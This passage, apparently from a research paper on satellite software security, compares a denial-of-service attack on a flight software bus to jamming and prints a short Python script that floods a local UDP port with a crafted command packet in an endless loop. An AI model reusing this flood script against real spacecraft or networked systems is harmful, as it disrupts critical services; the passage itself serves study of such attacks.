This is very similar to electronic jamming of a satellite, but significantly cheaper and easier. Jamming requires big, complex equipment that requires a lot of power to jam the external systems. A DoS attack just needs to overwhelm the Software Bus and no other systems (Schalk et al., 2022, p. 354). The code used to do this was a rather simple Python script: ```python # Import the socket library from standard Python import socket # Create the DoS Command dos_command = [0x18 ,0xB3 ,0xC0 ,0x00 ,0x00 ,0x95 ,0x43 ,0x03 ,0x01 ,0x00 ,0x00 ,0x00 ,0x30 ,0x2E ,0x32 ,0x31] # convert the hexadecimal into bytes byte_message = bytes(dos_command) # Open the network socket opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # "while True" is a way to tell your program to # always run this command as fast as you can while True: # Send message to socket as fast as possible opened_socket.sendto(byte_message, ("127.0.0.1", 1234)) ``` --- # References 1.
